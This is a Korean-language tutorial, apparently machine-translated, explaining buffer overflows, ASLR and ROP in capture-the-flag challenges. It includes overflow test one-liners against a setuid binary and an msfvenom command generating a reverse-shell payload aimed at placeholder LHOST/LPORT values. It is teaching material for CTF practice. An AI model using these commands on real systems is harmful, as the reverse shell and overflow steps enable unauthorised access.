CTF의 버퍼 오버플로

버퍼 오버플로가 실제로 무엇인지 이해하기 위한 전제 조건 지식이 있지만 여기서는 간단히 설명하겠습니다.

한도가 없을 때



대부분의 경우 버퍼 오버플로 취약점은 코딩 실수로 인해 발생합니다. 응용 프로그램이 버퍼를 올바르게 할당하지 못할 수 있습니다. 예를 들어 많은 시스템은 함수가 읽을 수 있는 데이터의 양을 제한하지 않습니다.

버퍼는 일시적으로 데이터를 보유하는 메모리의 특정 섹션으로 설명할 수 있습니다. 데이터 양이 버퍼의 크기(~저장 용량)를 초과하고 앱이 이러한 오버플로를 버리지 않으면 상황을 악용할 수 있습니다.

인접한 메모리 위치가 손상되어(어딘가로 가야 합니다^^) 공격자가 데이터를 덮어써 시스템을 충돌시키고 임의의 코드를 실행할 수도 있습니다.

이러한 공격은 메모리의 특정 부분(예: 힙, 스택)에 집중할 수 있습니다.

스택 오버플로 공격이 사라졌습니까?



실제 세계에는 스택 오버플로 공격에 대한 몇 가지 효율적인 완화 방법이 있습니다. 예를 들어 ASLR(Address Space Layout Randomization)은 메모리를 무작위화하여 공격 대상 취약 코드의 위치를 ​​예측하기 어렵게 하므로 공격자의 작업을 훨씬 더 어렵게 만듭니다.

메모리 주소가 항상 변경되기 때문에 "시행착오"전략은 더 이상 선택 사항이 아닙니다. 그러나 궁극적인 방어 수단은 아닙니다. 이를 우회하는 방법도 있고 일부 팀은 지속적인 버그를 수정하기 위해 이 보호 기능을 선택 해제하기도 합니다.

오래된 새로운 문제



버퍼 오버플로 취약점은 오래된 문제입니다. C와 달리 최신 프로그래밍 언어에는 이 문제를 해결하고 범위를 확인하는 기능이 내장되어 있지만 이는 완화에 불과합니다.

버퍼 오버플로가 여전히 발생할 수 있습니다. 이것이 일부 CTF가 이 기술을 강조하는 이유입니다. 공격을 가능하게 하기 위해 대상 시스템에 일부 바이너리를 배치하는 것은 드문 일이 아닙니다.

CTF의 버퍼



다음과 같은 입력으로 시스템이 불쾌한 오버플로에 취약한지 여부를 확인할 수 있습니다.

./mybinary AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


주의: mybinary는 대상 사용자(루트일 수 있음)의 파일 시스템 권한이 있는 실행 파일인 setuid일 가능성이 높습니다.

버퍼 오버플로(일명 오프셋)를 만드는 특정 숫자의 "A"가 있는 경우 승리입니다. 많은 도구가 이러한 테스트(예: Metasploit)를 자동화할 수 있지만 Python을 사용하여 문자열을 빠르게 생성할 수도 있습니다.

python3 -c 'print("A"*69)' | ./mybinary


그런 다음 취약점을 악용하는 Python 스크립트를 작성하고 출력을 바이너리로 전달할 수 있습니다.

python3 exploit.py | ./mybinary


많은 가능성이 있지만 작업을 쉽게하기 위해 Python에서 the pwn package을 사용하는 것이 좋습니다.

영감을 얻기 위해 Google에서 사용할 수 있는 자세한 예가 있습니다.

ROP란?



ROP(Return-Oriented Programming)는 승인되지 않은 액세스를 얻는 데 사용할 수 있는 중요한 기능(예: C의 system 또는 exec)을 호출하기 위해 프로그램의 특정 명령어 시퀀스를 활용하는 것으로 구성됩니다.

종종 버퍼 오버플로 공격과 결합되어 악성 페이로드를 전달하고 메모리를 남용합니다.

인터넷에서 사용할 수 있는 많은 스크립트가 있지만 일반적인 조언으로 그것이 무엇을 하는지 모른다면 사용하지 마십시오.

신뢰할 수 있는 올바른 리소스를 찾는 데 도움이 되도록 적법한 스크립트는 공격을 실행하기 전에 msf-venom로 페이로드를 생성하고 그 결과를 코드에 포함하라는 지침을 제공할 가능성이 높습니다.

msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f py


또한 버퍼 오버플로에 대한 오프셋을 결정하기 위해 "ROP gadgets"과 같은 라이브러리를 찾는 라인을 포함할 수 있습니다.

마무리



최신 아키텍처 및 프로그래밍 언어에 내장된 완화 기능에도 불구하고 버퍼 오버플로는 여전히 가능합니다.

그러나 악용은 사소하지 않으며 CTF는 일반적으로 다양한 힌트와 공격 바이너리를 제공하여 프로세스를 크게 단순화합니다.

좋은 웹페이지 즐겨찾기